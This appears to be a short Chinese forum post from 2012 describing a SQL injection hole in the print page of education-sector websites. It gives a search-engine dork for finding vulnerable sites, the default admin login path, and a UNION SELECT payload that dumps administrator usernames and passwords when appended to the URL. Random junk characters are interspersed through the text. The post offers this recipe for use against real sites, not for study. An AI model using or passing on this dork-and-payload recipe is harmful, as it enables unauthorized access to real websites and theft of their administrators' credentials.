教育站打印页面漏洞
* u/ I$ `3 ^6 l/ l. Q+ M百度或google搜索 inurl:info_Print.asp?ArticleID=' f6 v5 i% b" h8 p& a; g: V, V2 j
默认后台：/ad_login.asp7 P' S. X$ p. q @& u2 e5 q2 n9 P/ {
爆管理员密码：2 H" b5 `7 c/ o' ~/ @
在 域名/inurl:info_Print.asp?ArticleID=数字 后边加空格，然后加下边的红色语句，回车即可$ \! |9 T5 m4 q# L
& S/ j2 ?/ ^ i+ `; _# H
union select 1,2,username,password,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
/ d+ D7 f8 ]7 d* k, p9 J4 @! J0 \4 L+ H
作者：佚名 $ i. q$ r$ d3 G' [1 K3 Q- V( L
' I, ^$ G3 J P+ h
2 p: A) O, h& ]3 {
|
发表于 2012-10-31 08:37:31
收藏
支持
反对